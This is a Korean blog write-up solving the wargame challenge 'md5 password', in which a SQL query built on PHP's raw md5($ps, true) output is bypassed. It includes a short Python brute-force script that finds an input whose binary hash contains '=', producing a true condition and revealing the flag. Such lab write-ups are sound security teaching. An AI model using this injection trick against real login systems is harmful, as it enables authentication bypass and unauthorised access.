Yozzang의 해킹일기 💻
article thumbnail
728x90

오늘은 DreamHacker의 웹 해킹 워게임 중 하나인 md5 password를 함께 풀어볼 예정입니다.

 

 

[wargame.kr] md5 password

Description text md5('value', true);

dreamhack.io


## 문제 설명:

문제 설명

문제 정보를 살펴보면 md5('value', true)라는 힌트가 있다. 해당 함수는 php의 함수로 입력한 value의 md5해시값을 바이너리 형식으로 출력해준다.

## 문제 풀이

사이트에 접속해보니 다음과 같은 화면이 보인다.

main

패스 워드를 검증하는 입력창이 있다. 밑에 "get source" 버튼을 클릭하니 다음과 같은 화면이 출력되었다.

source

빨간 박스를 살펴보자면 "isset($row[0])" 값이 True를 반환한 경우 flag 값을 얻을 수 있는 것으로 보인다. 또한 row의 sql문 이 다음과 같다.

select * from admin_password where password = '".md5($ps, true)."'"

문제 정보에 나와 있던 md5(value, true) 함수가 활용되어 있다. 앞서 말했듯이 해당 함수는 16진수 문자열이 아닌 바이너리 문자열을 반환하기 때문에, 반환된 바이너리 문자열에 "=" 기호를 포함시키면 False Injection을 유도 할 수 있다.

즉, 예를 들자면 md5()의 반환값이 "abc = def" 이면 다음과 같은 현상이 나타난다.

ex) select * from admin_password where password = abc = def
password = abc는 False를 반환
def는 bool 연산에서 False를 반환
False = False 는 True를 반환

결과적으로 True를 반환하기 때문에 Flag값을 획득할 수 있게 될 것이다.

 

그럼 파이썬을 활용하여 "=" 기호가 포함된 md5결과값을 구해보겠다.

import hashlib

for pw in range(9999999):
    md5_output = hashlib.md5(str(pw).encode()).digest()
    if b"'='" in md5_output:
        print(f'[PW = {str(pw)}]')
        break

payload 실행 결과
성공

flag가 성공적으로 출력되는 것을 확인할 수 있다.

'Wargame > DreamHack' 카테고리의 다른 글

[DreamHack 워게임] adm1nkyj  (0) 2023.03.23
[DreamHack 워게임] login filtering  (0) 2023.03.09
[DreamHack 워게임] tmitter  (0) 2023.03.07
[DreamHack 워게임] Mango 풀이  (0) 2022.02.07
[DreamHack 워게임] devtools-sources 풀이  (0) 2022.02.06
profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!